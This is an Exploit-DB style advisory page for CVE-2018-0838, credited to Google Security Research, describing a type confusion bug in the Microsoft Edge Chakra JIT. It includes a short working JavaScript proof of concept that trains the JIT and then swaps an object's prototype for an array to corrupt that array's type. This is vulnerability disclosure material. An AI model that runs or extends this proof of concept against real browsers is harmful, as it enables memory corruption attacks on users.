Microsoft Edge Chakra JIT - 'NewScObjectNoCtor' Array Type Confusion

EDB-ID: 44080
Author: Google Security Research
Published: 2018-02-15
CVE: CVE-2018-0838
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: Type Confusion
Vulnerable App: N/A

 This is similar to the previous issues 1457,  1459 (MSRC 42551, MSRC 42552). 

If a JavaScript function is used as a consturctor, it sets the new object's "__proto__" to its "prototype". The JIT compiler uses NewScObjectNoCtor instructions to perform it, but those instructions are not checked by CheckJsArrayKills which is used to validate the array information.

PoC:
*/

function inlinee() {

}

function opt(arr) {
arr[0] = 1.1;
new inlinee();
arr[0] = 2.3023e-320;
}

function main() {
let arr = [1.1];
for (let i = 0; i < 10000; i++) {
inlinee.prototype = {};
opt(arr);
}

inlinee.prototype = arr;
opt(arr);

print(arr);
}

main();

Related Posts

Comments